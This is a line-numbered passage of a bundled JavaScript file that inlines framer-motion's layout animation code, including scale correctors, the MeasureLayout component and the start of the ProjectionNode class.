17207 return 0;
17208 return pixels / (axis.max - axis.min) * 100;
17209 }
17210 var correctBorderRadius = {
17211 correct: (latest, node2) => {
17212 if (!node2.target)
17213 return latest;
17214 if (typeof latest === "string") {
17215 if (px.test(latest)) {
17216 latest = parseFloat(latest);
17217 } else {
17218 return latest;
17219 }
17220 }
17221 const x2 = pixelsToPercent(latest, node2.target.x);
17222 const y3 = pixelsToPercent(latest, node2.target.y);
17223 return `${x2}% ${y3}%`;
17224 }
17225 };
17226
17227 // packages/components/node_modules/framer-motion/dist/es/projection/styles/scale-box-shadow.mjs
17228 var correctBoxShadow = {
17229 correct: (latest, { treeScale, projectionDelta }) => {
17230 const original = latest;
17231 const shadow = complex.parse(latest);
17232 if (shadow.length > 5)
17233 return original;
17234 const template = complex.createTransformer(latest);
17235 const offset3 = typeof shadow[0] !== "number" ? 1 : 0;
17236 const xScale = projectionDelta.x.scale * treeScale.x;
17237 const yScale = projectionDelta.y.scale * treeScale.y;
17238 shadow[0 + offset3] /= xScale;
17239 shadow[1 + offset3] /= yScale;
17240 const averageScale = mixNumber(xScale, yScale, 0.5);
17241 if (typeof shadow[2 + offset3] === "number")
17242 shadow[2 + offset3] /= averageScale;
17243 if (typeof shadow[3 + offset3] === "number")
17244 shadow[3 + offset3] /= averageScale;
17245 return template(shadow);
17246 }
17247 };
17248
17249 // packages/components/node_modules/framer-motion/dist/es/projection/styles/scale-correction.mjs
17250 var scaleCorrectors = {};
17251 function addScaleCorrector(correctors) {
17252 Object.assign(scaleCorrectors, correctors);
17253 }
17254
17255 // packages/components/node_modules/framer-motion/dist/es/frameloop/microtask.mjs
17256 var { schedule: microtask, cancel: cancelMicrotask } = createRenderBatcher(queueMicrotask, false);
17257
17258 // packages/components/node_modules/framer-motion/dist/es/motion/features/layout/MeasureLayout.mjs
17259 var MeasureLayoutWithContext = class extends import_react61.Component {
17260 /**
17261 * This only mounts projection nodes for components that
17262 * need measuring, we might want to do it for all components
17263 * in order to incorporate transforms
17264 */
17265 componentDidMount() {
17266 const { visualElement, layoutGroup, switchLayoutGroup, layoutId } = this.props;
17267 const { projection } = visualElement;
17268 addScaleCorrector(defaultScaleCorrectors);
17269 if (projection) {
17270 if (layoutGroup.group)
17271 layoutGroup.group.add(projection);
17272 if (switchLayoutGroup && switchLayoutGroup.register && layoutId) {
17273 switchLayoutGroup.register(projection);
17274 }
17275 projection.root.didUpdate();
17276 projection.addEventListener("animationComplete", () => {
17277 this.safeToRemove();
17278 });
17279 projection.setOptions({
17280 ...projection.options,
17281 onExitComplete: () => this.safeToRemove()
17282 });
17283 }
17284 globalProjectionState.hasEverUpdated = true;
17285 }
17286 getSnapshotBeforeUpdate(prevProps) {
17287 const { layoutDependency, visualElement, drag: drag2, isPresent } = this.props;
17288 const projection = visualElement.projection;
17289 if (!projection)
17290 return null;
17291 projection.isPresent = isPresent;
17292 if (drag2 || prevProps.layoutDependency !== layoutDependency || layoutDependency === void 0) {
17293 projection.willUpdate();
17294 } else {
17295 this.safeToRemove();
17296 }
17297 if (prevProps.isPresent !== isPresent) {
17298 if (isPresent) {
17299 projection.promote();
17300 } else if (!projection.relegate()) {
17301 frame.postRender(() => {
17302 const stack = projection.getStack();
17303 if (!stack || !stack.members.length) {
17304 this.safeToRemove();
17305 }
17306 });
17307 }
17308 }
17309 return null;
17310 }
17311 componentDidUpdate() {
17312 const { projection } = this.props.visualElement;
17313 if (projection) {
17314 projection.root.didUpdate();
17315 microtask.postRender(() => {
17316 if (!projection.currentAnimation && projection.isLead()) {
17317 this.safeToRemove();
17318 }
17319 });
17320 }
17321 }
17322 componentWillUnmount() {
17323 const { visualElement, layoutGroup, switchLayoutGroup: promoteContext } = this.props;
17324 const { projection } = visualElement;
17325 if (projection) {
17326 projection.scheduleCheckAfterUnmount();
17327 if (layoutGroup && layoutGroup.group)
17328 layoutGroup.group.remove(projection);
17329 if (promoteContext && promoteContext.deregister)
17330 promoteContext.deregister(projection);
17331 }
17332 }
17333 safeToRemove() {
17334 const { safeToRemove } = this.props;
17335 safeToRemove && safeToRemove();
17336 }
17337 render() {
17338 return null;
17339 }
17340 };
17341 function MeasureLayout(props) {
17342 const [isPresent, safeToRemove] = usePresence();
17343 const layoutGroup = (0, import_react61.useContext)(LayoutGroupContext);
17344 return (0, import_jsx_runtime39.jsx)(MeasureLayoutWithContext, { ...props, layoutGroup, switchLayoutGroup: (0, import_react61.useContext)(SwitchLayoutGroupContext), isPresent, safeToRemove });
17345 }
17346 var defaultScaleCorrectors = {
17347 borderRadius: {
17348 ...correctBorderRadius,
17349 applyTo: [
17350 "borderTopLeftRadius",
17351 "borderTopRightRadius",
17352 "borderBottomLeftRadius",
17353 "borderBottomRightRadius"
17354 ]
17355 },
17356 borderTopLeftRadius: correctBorderRadius,
17357 borderTopRightRadius: correctBorderRadius,
17358 borderBottomLeftRadius: correctBorderRadius,
17359 borderBottomRightRadius: correctBorderRadius,
17360 boxShadow: correctBoxShadow
17361 };
17362
17363 // packages/components/node_modules/framer-motion/dist/es/projection/animation/mix-values.mjs
17364 var borders = ["TopLeft", "TopRight", "BottomLeft", "BottomRight"];
17365 var numBorders = borders.length;
17366 var asNumber = (value) => typeof value === "string" ? parseFloat(value) : value;
17367 var isPx = (value) => typeof value === "number" || px.test(value);
17368 function mixValues(target, follow, lead, progress2, shouldCrossfadeOpacity, isOnlyMember) {
17369 if (shouldCrossfadeOpacity) {
17370 target.opacity = mixNumber(
17371 0,
17372 // TODO Reinstate this if only child
17373 lead.opacity !== void 0 ? lead.opacity : 1,
17374 easeCrossfadeIn(progress2)
17375 );
17376 target.opacityExit = mixNumber(follow.opacity !== void 0 ? follow.opacity : 1, 0, easeCrossfadeOut(progress2));
17377 } else if (isOnlyMember) {
17378 target.opacity = mixNumber(follow.opacity !== void 0 ? follow.opacity : 1, lead.opacity !== void 0 ? lead.opacity : 1, progress2);
17379 }
17380 for (let i3 = 0; i3 < numBorders; i3++) {
17381 const borderLabel = `border${borders[i3]}Radius`;
17382 let followRadius = getRadius(follow, borderLabel);
17383 let leadRadius = getRadius(lead, borderLabel);
17384 if (followRadius === void 0 && leadRadius === void 0)
17385 continue;
17386 followRadius || (followRadius = 0);
17387 leadRadius || (leadRadius = 0);
17388 const canMix = followRadius === 0 || leadRadius === 0 || isPx(followRadius) === isPx(leadRadius);
17389 if (canMix) {
17390 target[borderLabel] = Math.max(mixNumber(asNumber(followRadius), asNumber(leadRadius), progress2), 0);
17391 if (percent.test(leadRadius) || percent.test(followRadius)) {
17392 target[borderLabel] += "%";
17393 }
17394 } else {
17395 target[borderLabel] = leadRadius;
17396 }
17397 }
17398 if (follow.rotate || lead.rotate) {
17399 target.rotate = mixNumber(follow.rotate || 0, lead.rotate || 0, progress2);
17400 }
17401 }
17402 function getRadius(values, radiusName) {
17403 return values[radiusName] !== void 0 ? values[radiusName] : values.borderRadius;
17404 }
17405 var easeCrossfadeIn = /* @__PURE__ */ compress(0, 0.5, circOut);
17406 var easeCrossfadeOut = /* @__PURE__ */ compress(0.5, 0.95, noop2);
17407 function compress(min3, max3, easing) {
17408 return (p3) => {
17409 if (p3 < min3)
17410 return 0;
17411 if (p3 > max3)
17412 return 1;
17413 return easing(progress(min3, max3, p3));
17414 };
17415 }
17416
17417 // packages/components/node_modules/framer-motion/dist/es/projection/geometry/copy.mjs
17418 function copyAxisInto(axis, originAxis) {
17419 axis.min = originAxis.min;
17420 axis.max = originAxis.max;
17421 }
17422 function copyBoxInto(box, originBox) {
17423 copyAxisInto(box.x, originBox.x);
17424 copyAxisInto(box.y, originBox.y);
17425 }
17426 function copyAxisDeltaInto(delta, originDelta) {
17427 delta.translate = originDelta.translate;
17428 delta.scale = originDelta.scale;
17429 delta.originPoint = originDelta.originPoint;
17430 delta.origin = originDelta.origin;
17431 }
17432
17433 // packages/components/node_modules/framer-motion/dist/es/projection/geometry/delta-remove.mjs
17434 function removePointDelta(point, translate, scale2, originPoint, boxScale) {
17435 point -= translate;
17436 point = scalePoint(point, 1 / scale2, originPoint);
17437 if (boxScale !== void 0) {
17438 point = scalePoint(point, 1 / boxScale, originPoint);
17439 }
17440 return point;
17441 }
17442 function removeAxisDelta(axis, translate = 0, scale2 = 1, origin = 0.5, boxScale, originAxis = axis, sourceAxis = axis) {
17443 if (percent.test(translate)) {
17444 translate = parseFloat(translate);
17445 const relativeProgress = mixNumber(sourceAxis.min, sourceAxis.max, translate / 100);
17446 translate = relativeProgress - sourceAxis.min;
17447 }
17448 if (typeof translate !== "number")
17449 return;
17450 let originPoint = mixNumber(originAxis.min, originAxis.max, origin);
17451 if (axis === originAxis)
17452 originPoint -= translate;
17453 axis.min = removePointDelta(axis.min, translate, scale2, originPoint, boxScale);
17454 axis.max = removePointDelta(axis.max, translate, scale2, originPoint, boxScale);
17455 }
17456 function removeAxisTransforms(axis, transforms, [key, scaleKey, originKey], origin, sourceAxis) {
17457 removeAxisDelta(axis, transforms[key], transforms[scaleKey], transforms[originKey], transforms.scale, origin, sourceAxis);
17458 }
17459 var xKeys = ["x", "scaleX", "originX"];
17460 var yKeys = ["y", "scaleY", "originY"];
17461 function removeBoxTransforms(box, transforms, originBox, sourceBox) {
17462 removeAxisTransforms(box.x, transforms, xKeys, originBox ? originBox.x : void 0, sourceBox ? sourceBox.x : void 0);
17463 removeAxisTransforms(box.y, transforms, yKeys, originBox ? originBox.y : void 0, sourceBox ? sourceBox.y : void 0);
17464 }
17465
17466 // packages/components/node_modules/framer-motion/dist/es/projection/geometry/utils.mjs
17467 function isAxisDeltaZero(delta) {
17468 return delta.translate === 0 && delta.scale === 1;
17469 }
17470 function isDeltaZero(delta) {
17471 return isAxisDeltaZero(delta.x) && isAxisDeltaZero(delta.y);
17472 }
17473 function axisEquals(a3, b3) {
17474 return a3.min === b3.min && a3.max === b3.max;
17475 }
17476 function boxEquals(a3, b3) {
17477 return axisEquals(a3.x, b3.x) && axisEquals(a3.y, b3.y);
17478 }
17479 function axisEqualsRounded(a3, b3) {
17480 return Math.round(a3.min) === Math.round(b3.min) && Math.round(a3.max) === Math.round(b3.max);
17481 }
17482 function boxEqualsRounded(a3, b3) {
17483 return axisEqualsRounded(a3.x, b3.x) && axisEqualsRounded(a3.y, b3.y);
17484 }
17485 function aspectRatio(box) {
17486 return calcLength(box.x) / calcLength(box.y);
17487 }
17488 function axisDeltaEquals(a3, b3) {
17489 return a3.translate === b3.translate && a3.scale === b3.scale && a3.originPoint === b3.originPoint;
17490 }
17491
17492 // packages/components/node_modules/framer-motion/dist/es/projection/shared/stack.mjs
17493 var NodeStack = class {
17494 constructor() {
17495 this.members = [];
17496 }
17497 add(node2) {
17498 addUniqueItem(this.members, node2);
17499 node2.scheduleRender();
17500 }
17501 remove(node2) {
17502 removeItem(this.members, node2);
17503 if (node2 === this.prevLead) {
17504 this.prevLead = void 0;
17505 }
17506 if (node2 === this.lead) {
17507 const prevLead = this.members[this.members.length - 1];
17508 if (prevLead) {
17509 this.promote(prevLead);
17510 }
17511 }
17512 }
17513 relegate(node2) {
17514 const indexOfNode = this.members.findIndex((member) => node2 === member);
17515 if (indexOfNode === 0)
17516 return false;
17517 let prevLead;
17518 for (let i3 = indexOfNode; i3 >= 0; i3--) {
17519 const member = this.members[i3];
17520 if (member.isPresent !== false) {
17521 prevLead = member;
17522 break;
17523 }
17524 }
17525 if (prevLead) {
17526 this.promote(prevLead);
17527 return true;
17528 } else {
17529 return false;
17530 }
17531 }
17532 promote(node2, preserveFollowOpacity) {
17533 const prevLead = this.lead;
17534 if (node2 === prevLead)
17535 return;
17536 this.prevLead = prevLead;
17537 this.lead = node2;
17538 node2.show();
17539 if (prevLead) {
17540 prevLead.instance && prevLead.scheduleRender();
17541 node2.scheduleRender();
17542 node2.resumeFrom = prevLead;
17543 if (preserveFollowOpacity) {
17544 node2.resumeFrom.preserveOpacity = true;
17545 }
17546 if (prevLead.snapshot) {
17547 node2.snapshot = prevLead.snapshot;
17548 node2.snapshot.latestValues = prevLead.animationValues || prevLead.latestValues;
17549 }
17550 if (node2.root && node2.root.isUpdating) {
17551 node2.isLayoutDirty = true;
17552 }
17553 const { crossfade } = node2.options;
17554 if (crossfade === false) {
17555 prevLead.hide();
17556 }
17557 }
17558 }
17559 exitAnimationComplete() {
17560 this.members.forEach((node2) => {
17561 const { options: options2, resumingFrom } = node2;
17562 options2.onExitComplete && options2.onExitComplete();
17563 if (resumingFrom) {
17564 resumingFrom.options.onExitComplete && resumingFrom.options.onExitComplete();
17565 }
17566 });
17567 }
17568 scheduleRender() {
17569 this.members.forEach((node2) => {
17570 node2.instance && node2.scheduleRender(false);
17571 });
17572 }
17573 /**
17574 * Clear any leads that have been removed this render to prevent them from being
17575 * used in future animations and to prevent memory leaks
17576 */
17577 removeLeadSnapshot() {
17578 if (this.lead && this.lead.snapshot) {
17579 this.lead.snapshot = void 0;
17580 }
17581 }
17582 };
17583
17584 // packages/components/node_modules/framer-motion/dist/es/projection/styles/transform.mjs
17585 function buildProjectionTransform(delta, treeScale, latestTransform) {
17586 let transform = "";
17587 const xTranslate = delta.x.translate / treeScale.x;
17588 const yTranslate = delta.y.translate / treeScale.y;
17589 const zTranslate = (latestTransform === null || latestTransform === void 0 ? void 0 : latestTransform.z) || 0;
17590 if (xTranslate || yTranslate || zTranslate) {
17591 transform = `translate3d(${xTranslate}px, ${yTranslate}px, ${zTranslate}px) `;
17592 }
17593 if (treeScale.x !== 1 || treeScale.y !== 1) {
17594 transform += `scale(${1 / treeScale.x}, ${1 / treeScale.y}) `;
17595 }
17596 if (latestTransform) {
17597 const { transformPerspective, rotate, rotateX, rotateY, skewX, skewY } = latestTransform;
17598 if (transformPerspective)
17599 transform = `perspective(${transformPerspective}px) ${transform}`;
17600 if (rotate)
17601 transform += `rotate(${rotate}deg) `;
17602 if (rotateX)
17603 transform += `rotateX(${rotateX}deg) `;
17604 if (rotateY)
17605 transform += `rotateY(${rotateY}deg) `;
17606 if (skewX)
17607 transform += `skewX(${skewX}deg) `;
17608 if (skewY)
17609 transform += `skewY(${skewY}deg) `;
17610 }
17611 const elementScaleX = delta.x.scale * treeScale.x;
17612 const elementScaleY = delta.y.scale * treeScale.y;
17613 if (elementScaleX !== 1 || elementScaleY !== 1) {
17614 transform += `scale(${elementScaleX}, ${elementScaleY})`;
17615 }
17616 return transform || "none";
17617 }
17618
17619 // packages/components/node_modules/framer-motion/dist/es/render/utils/compare-by-depth.mjs
17620 var compareByDepth = (a3, b3) => a3.depth - b3.depth;
17621
17622 // packages/components/node_modules/framer-motion/dist/es/render/utils/flat-tree.mjs
17623 var FlatTree = class {
17624 constructor() {
17625 this.children = [];
17626 this.isDirty = false;
17627 }
17628 add(child) {
17629 addUniqueItem(this.children, child);
17630 this.isDirty = true;
17631 }
17632 remove(child) {
17633 removeItem(this.children, child);
17634 this.isDirty = true;
17635 }
17636 forEach(callback) {
17637 this.isDirty && this.children.sort(compareByDepth);
17638 this.isDirty = false;
17639 this.children.forEach(callback);
17640 }
17641 };
17642
17643 // packages/components/node_modules/framer-motion/dist/es/value/utils/resolve-motion-value.mjs
17644 function resolveMotionValue(value) {
17645 const unwrappedValue = isMotionValue(value) ? value.get() : value;
17646 return isCustomValue(unwrappedValue) ? unwrappedValue.toValue() : unwrappedValue;
17647 }
17648
17649 // packages/components/node_modules/framer-motion/dist/es/utils/delay.mjs
17650 function delay(callback, timeout) {
17651 const start = time.now();
17652 const checkElapsed = ({ timestamp }) => {
17653 const elapsed = timestamp - start;
17654 if (elapsed >= timeout) {
17655 cancelFrame(checkElapsed);
17656 callback(elapsed - timeout);
17657 }
17658 };
17659 frame.read(checkElapsed, true);
17660 return () => cancelFrame(checkElapsed);
17661 }
17662
17663 // packages/components/node_modules/framer-motion/dist/es/render/dom/utils/is-svg-element.mjs
17664 function isSVGElement(element) {
17665 return element instanceof SVGElement && element.tagName !== "svg";
17666 }
17667
17668 // packages/components/node_modules/framer-motion/dist/es/animation/animate/single-value.mjs
17669 function animateSingleValue(value, keyframes4, options2) {
17670 const motionValue$1 = isMotionValue(value) ? value : motionValue(value);
17671 motionValue$1.start(animateMotionValue("", motionValue$1, keyframes4, options2));
17672 return motionValue$1.animation;
17673 }
17674
17675 // packages/components/node_modules/framer-motion/dist/es/projection/node/create-projection-node.mjs
17676 var metrics = {
17677 type: "projectionFrame",
17678 totalNodes: 0,
17679 resolvedTargetDeltas: 0,
17680 recalculatedProjection: 0
17681 };
17682 var isDebug = typeof window !== "undefined" && window.MotionDebug !== void 0;
17683 var transformAxes = ["", "X", "Y", "Z"];
17684 var hiddenVisibility = { visibility: "hidden" };
17685 var animationTarget = 1e3;
17686 var id2 = 0;
17687 function resetDistortingTransform(key, visualElement, values, sharedAnimationValues) {
17688 const { latestValues } = visualElement;
17689 if (latestValues[key]) {
17690 values[key] = latestValues[key];
17691 visualElement.setStaticValue(key, 0);
17692 if (sharedAnimationValues) {
17693 sharedAnimationValues[key] = 0;
17694 }
17695 }
17696 }
17697 function cancelTreeOptimisedTransformAnimations(projectionNode) {
17698 projectionNode.hasCheckedOptimisedAppear = true;
17699 if (projectionNode.root === projectionNode)
17700 return;
17701 const { visualElement } = projectionNode.options;
17702 if (!visualElement)
17703 return;
17704 const appearId = getOptimisedAppearId(visualElement);
17705 if (window.MotionHasOptimisedAnimation(appearId, "transform")) {
17706 const { layout: layout2, layoutId } = projectionNode.options;
17707 window.MotionCancelOptimisedAnimation(appearId, "transform", frame, !(layout2 || layoutId));
17708 }
17709 const { parent } = projectionNode;
17710 if (parent && !parent.hasCheckedOptimisedAppear) {
17711 cancelTreeOptimisedTransformAnimations(parent);
17712 }
17713 }
17714 function createProjectionNode({ attachResizeListener, defaultParent, measureScroll, checkIsScrollRoot, resetTransform }) {
17715 return class ProjectionNode {
17716 constructor(latestValues = {}, parent = defaultParent === null || defaultParent === void 0 ? void 0 : defaultParent()) {
17717 this.id = id2++;
17718 this.animationId = 0;
17719 this.children = /* @__PURE__ */ new Set();
17720 this.options = {};
17721 this.isTreeAnimating = false;
17722 this.isAnimationBlocked = false;
17723 this.isLayoutDirty = false;
17724 this.isProjectionDirty = false;
17725 this.isSharedProjectionDirty = false;
17726 this.isTransformDirty = false;
17727 this.updateManuallyBlocked = false;
17728 this.updateBlockedByResize = false;
17729 this.isUpdating = false;
17730 this.isSVG = false;
17731 this.needsReset = false;
17732 this.shouldResetTransform = false;
17733 this.hasCheckedOptimisedAppear = false;
17734 this.treeScale = { x: 1, y: 1 };
17735 this.eventHandlers = /* @__PURE__ */ new Map();
17736 this.hasTreeAnimated = false;
17737 this.updateScheduled = false;
17738 this.scheduleUpdate = () => this.update();
17739 this.projectionUpdateScheduled = false;
17740 this.checkUpdateFailed = () => {
17741 if (this.isUpdating) {
17742 this.isUpdating = false;
17743 this.clearAllSnapshots();
17744 }
17745 };
17746 this.updateProjection = () => {
17747 this.projectionUpdateScheduled = false;
17748 if (isDebug) {
17749 metrics.totalNodes = metrics.resolvedTargetDeltas = metrics.recalculatedProjection = 0;
17750 }
17751 this.nodes.forEach(propagateDirtyNodes);
17752 this.nodes.forEach(resolveTargetDelta);
17753 this.nodes.forEach(calcProjection);
17754 this.nodes.forEach(cleanDirtyNodes);
17755 if (isDebug) {
17756 window.MotionDebug.record(metrics);
17757 }
17758 };
17759 this.resolvedRelativeTargetAt = 0;
17760 this.hasProjected = false;
17761 this.isVisible = true;
17762 this.animationProgress = 0;
17763 this.sharedNodes = /* @__PURE__ */ new Map();
17764 this.latestValues = latestValues;
17765 this.root = parent ? parent.root || parent : this;
17766 this.path = parent ? [...parent.path, parent] : [];
17767 this.parent = parent;
17768 this.depth = parent ? parent.depth + 1 : 0;
17769 for (let i3 = 0; i3 < this.path.length; i3++) {
17770 this.path[i3].shouldResetTransform = true;
17771 }
17772 if (this.root === this)
17773 this.nodes = new FlatTree();
17774 }
17775 addEventListener(name, handler) {
17776 if (!this.eventHandlers.has(name)) {
17777 this.eventHandlers.set(name, new SubscriptionManager());
17778 }
17779 return this.eventHandlers.get(name).add(handler);
17780 }
17781 notifyListeners(name, ...args) {
17782 const subscriptionManager = this.eventHandlers.get(name);
17783 subscriptionManager && subscriptionManager.notify(...args);
17784 }
17785 hasListeners(name) {
17786 return this.eventHandlers.has(name);
17787 }
17788 /**
17789 * Lifecycles
17790 */
17791 mount(instance, isLayoutDirty = this.root.hasTreeAnimated) {
17792 if (this.instance)
17793 return;
17794 this.isSVG = isSVGElement(instance);
17795 this.instance = instance;
17796 const { layoutId, layout: layout2, visualElement } = this.options;
17797 if (visualElement && !visualElement.current) {
17798 visualElement.mount(instance);
17799 }
17800 this.root.nodes.add(this);
17801 this.parent && this.parent.children.add(this);
17802 if (isLayoutDirty && (layout2 || layoutId)) {
17803 this.isLayoutDirty = true;
17804 }
17805 if (attachResizeListener) {
17806 let cancelDelay;
17807 const resizeUnblockUpdate = () => this.root.updateBlockedByResize = false;
17808 attachResizeListener(instance, () => {
17809 this.root.updateBlockedByResize = true;
17810 cancelDelay && cancelDelay();
17811 cancelDelay = delay(resizeUnblockUpdate, 250);
17812 if (globalProjectionState.hasAnimatedSinceResize) {
17813 globalProjectionState.hasAnimatedSinceResize = false;
17814 this.nodes.forEach(finishAnimation);
17815 }
17816 });
17817 }
17818 if (layoutId) {
17819 this.root.registerSharedNode(layoutId, this);
17820 }
17821 if (this.options.animate !== false && visualElement && (layoutId || layout2)) {
17822 this.addEventListener("didUpdate", ({ delta, hasLayoutChanged, hasRelativeTargetChanged, layout: newLayout }) => {
17823 if (this.isTreeAnimationBlocked()) {
17824 this.target = void 0;
17825 this.relativeTarget = void 0;
17826 return;
17827 }
17828 const layoutTransition = this.options.transition || visualElement.getDefaultTransition() || defaultLayoutTransition;
17829 const { onLayoutAnimationStart, onLayoutAnimationComplete } = visualElement.getProps();
17830 const targetChanged = !this.targetLayout || !boxEqualsRounded(this.targetLayout, newLayout) || hasRelativeTargetChanged;
17831 const hasOnlyRelativeTargetChanged = !hasLayoutChanged && hasRelativeTargetChanged;
17832 if (this.options.layoutRoot || this.resumeFrom && this.resumeFrom.instance || hasOnlyRelativeTargetChanged || hasLayoutChanged && (targetChanged || !this.currentAnimation)) {
17833 if (this.resumeFrom) {
17834 this.resumingFrom = this.resumeFrom;
17835 this.resumingFrom.resumingFrom = void 0;
17836 }
17837 this.setAnimationOrigin(delta, hasOnlyRelativeTargetChanged);
17838 const animationOptions = {
17839 ...getValueTransition(layoutTransition, "layout"),
17840 onPlay: onLayoutAnimationStart,
17841 onComplete: onLayoutAnimationComplete
17842 };
17843 if (visualElement.shouldReduceMotion || this.options.layoutRoot) {
17844 animationOptions.delay = 0;
17845 animationOptions.type = false;
17846 }
17847 this.startAnimation(animationOptions);
17848 } else {
17849 if (!hasLayoutChanged) {
17850 finishAnimation(this);
17851 }
17852 if (this.isLead() && this.options.onExitComplete) {
17853 this.options.onExitComplete();
17854 }
17855 }
17856 this.targetLayout = newLayout;
17857 });
17858 }
17859 }
17860 unmount() {
17861 this.options.layoutId && this.willUpdate();
17862 this.root.nodes.remove(this);
17863 const stack = this.getStack();
17864 stack && stack.remove(this);
17865 this.parent && this.parent.children.delete(this);
17866 this.instance = void 0;
17867 cancelFrame(this.updateProjection);
17868 }
17869 // only on the root
17870 blockUpdate() {
17871 this.updateManuallyBlocked = true;
17872 }
17873 unblockUpdate() {
17874 this.updateManuallyBlocked = false;
17875 }
17876 isUpdateBlocked() {
17877 return this.updateManuallyBlocked || this.updateBlockedByResize;
17878 }
17879 isTreeAnimationBlocked() {
17880 return this.isAnimationBlocked || this.parent && this.parent.isTreeAnimationBlocked() || false;
17881 }
17882 // Note: currently only running on root node
17883 startUpdate() {
17884 if (this.isUpdateBlocked())
17885 return;
17886 this.isUpdating = true;
17887 this.nodes && this.nodes.forEach(resetSkewAndRotation);
17888 this.animationId++;
17889 }
17890 getTransformTemplate() {
17891 const { visualElement } = this.options;
17892 return visualElement && visualElement.getProps().transformTemplate;
17893 }
17894 willUpdate(shouldNotifyListeners = true) {
17895 this.root.hasTreeAnimated = true;
17896 if (this.root.isUpdateBlocked()) {
17897 this.options.onExitComplete && this.options.onExitComplete();
17898 return;
17899 }
17900 if (window.MotionCancelOptimisedAnimation && !this.hasCheckedOptimisedAppear) {
17901 cancelTreeOptimisedTransformAnimations(this);
17902 }
17903 !this.root.isUpdating && this.root.startUpdate();
17904 if (this.isLayoutDirty)
17905 return;
17906 this.isLayoutDirty = true;
17907 for (let i3 = 0; i3 < this.path.length; i3++) {
17908 const node2 = this.path[i3];
17909 node2.shouldResetTransform = true;
17910 node2.updateScroll("snapshot");
17911 if (node2.options.layoutRoot) {
17912 node2.willUpdate(false);
17913 }
17914 }
17915 const { layoutId, layout: layout2 } = this.options;
17916 if (layoutId === void 0 && !layout2)
17917 return;
17918 const transformTemplate = this.getTransformTemplate();
17919 this.prevTransformTemplateValue = transformTemplate ? transformTemplate(this.latestValues, "") : void 0;
17920 this.updateSnapshot();
17921 shouldNotifyListeners && this.notifyListeners("willUpdate");
17922 }
17923 update() {
17924 this.updateScheduled = false;
17925 const updateWasBlocked = this.isUpdateBlocked();
17926 if (updateWasBlocked) {
17927 this.unblockUpdate();
17928 this.clearAllSnapshots();
17929 this.nodes.forEach(clearMeasurements);
17930 return;
17931 }
17932 if (!this.isUpdating) {
17933 this.nodes.forEach(clearIsLayoutDirty);
17934 }
17935 this.isUpdating = false;
17936 this.nodes.forEach(resetTransformStyle);
17937 this.nodes.forEach(updateLayout);
17938 this.nodes.forEach(notifyLayoutUpdate);
17939 this.clearAllSnapshots();
17940 const now2 = time.now();
17941 frameData.delta = clamp2(0, 1e3 / 60, now2 - frameData.timestamp);
17942 frameData.timestamp = now2;
17943 frameData.isProcessing = true;
17944 frameSteps.update.process(frameData);
17945 frameSteps.preRender.process(frameData);
17946 frameSteps.render.process(frameData);
17947 frameData.isProcessing = false;
17948 }
17949 didUpdate() {
17950 if (!this.updateScheduled) {
17951 this.updateScheduled = true;
17952 microtask.read(this.scheduleUpdate);
17953 }
17954 }
17955 clearAllSnapshots() {
17956 this.nodes.forEach(clearSnapshot);
17957 this.sharedNodes.forEach(removeLeadSnapshots);
17958 }
17959 scheduleUpdateProjection() {
17960 if (!this.projectionUpdateScheduled) {
17961 this.projectionUpdateScheduled = true;
17962 frame.preRender(this.updateProjection, false, true);
17963 }
17964 }
17965 scheduleCheckAfterUnmount() {
17966 frame.postRender(() => {
17967 if (this.isLayoutDirty) {
17968 this.root.didUpdate();
17969 } else {
17970 this.root.checkUpdateFailed();
17971 }
17972 });
17973 }
17974 /**
17975 * Update measurements
17976 */
17977 updateSnapshot() {
17978 if (this.snapshot || !this.instance)
17979 return;
17980 this.snapshot = this.measure();
17981 }
17982 updateLayout() {
17983 if (!this.instance)
17984 return;
17985 this.updateScroll();
17986 if (!(this.options.alwaysMeasureLayout && this.isLead()) && !this.isLayoutDirty) {
17987 return;
17988 }
17989 if (this.resumeFrom && !this.resumeFrom.instance) {
17990 for (let i3 = 0; i3 < this.path.length; i3++) {
17991 const node2 = this.path[i3];
17992 node2.updateScroll();
17993 }
17994 }
17995 const prevLayout = this.layout;
17996 this.layout = this.measure(false);
17997 this.layoutCorrected = createBox();
17998 this.isLayoutDirty = false;
17999 this.projectionDelta = void 0;
18000 this.notifyListeners("measure", this.layout.layoutBox);
18001 const { visualElement } = this.options;
18002 visualElement && visualElement.notify("LayoutMeasure", this.layout.layoutBox, prevLayout ? prevLayout.layoutBox : void 0);
18003 }
18004 updateScroll(phase = "measure") {
18005 let needsMeasurement = Boolean(this.options.layoutScroll && this.instance);
18006 if (this.scroll && this.scroll.animationId === this.root.animationId && this.scroll.phase === phase) {
18007 needsMeasurement = false;
18008 }
18009 if (needsMeasurement) {
18010 const isRoot = checkIsScrollRoot(this.instance);
18011 this.scroll = {
18012 animationId: this.root.animationId,
18013 phase,
18014 isRoot,
18015 offset: measureScroll(this.instance),
18016 wasRoot: this.scroll ? this.scroll.isRoot : isRoot
18017 };
18018 }
18019 }
18020 resetTransform() {
18021 if (!resetTransform)
18022 return;
18023 const isResetRequested = this.isLayoutDirty || this.shouldResetTransform || this.options.alwaysMeasureLayout;
18024 const hasProjection = this.projectionDelta && !isDeltaZero(this.projectionDelta);
18025 const transformTemplate = this.getTransformTemplate();
18026 const transformTemplateValue = transformTemplate ? transformTemplate(this.latestValues, "") : void 0;
18027 const transformTemplateHasChanged = transformTemplateValue !== this.prevTransformTemplateValue;
18028 if (isResetRequested && (hasProjection || hasTransform(this.latestValues) || transformTemplateHasChanged)) {
18029 resetTransform(this.instance, transformTemplateValue);
18030 this.shouldResetTransform = false;
18031 this.scheduleRender();
18032 }
18033 }
18034 measure(removeTransform = true) {
18035 const pageBox = this.measurePageBox();
18036 let layoutBox = this.removeElementScroll(pageBox);
18037 if (removeTransform) {
18038 layoutBox = this.removeTransform(layoutBox);
18039 }
18040 roundBox(layoutBox);
18041 return {
18042 animationId: this.root.animationId,
18043 measuredBox: pageBox,
18044 layoutBox,
18045 latestValues: {},
18046 source: this.id
18047 };
18048 }
18049 measurePageBox() {
18050 var _a;
18051 const { visualElement } = this.options;
18052 if (!visualElement)
18053 return createBox();
18054 const box = visualElement.measureViewportBox();
18055 const wasInScrollRoot = ((_a = this.scroll) === null || _a === void 0 ? void 0 : _a.wasRoot) || this.path.some(checkNodeWasScrollRoot);
18056 if (!wasInScrollRoot) {
18057 const { scroll } = this.root;
18058 if (scroll) {
18059 translateAxis(box.x, scroll.offset.x);
18060 translateAxis(box.y, scroll.offset.y);
18061 }
18062 }
18063 return box;
18064 }
18065 removeElementScroll(box) {
18066 var _a;
18067 const boxWithoutScroll = createBox();
18068 copyBoxInto(boxWithoutScroll, box);
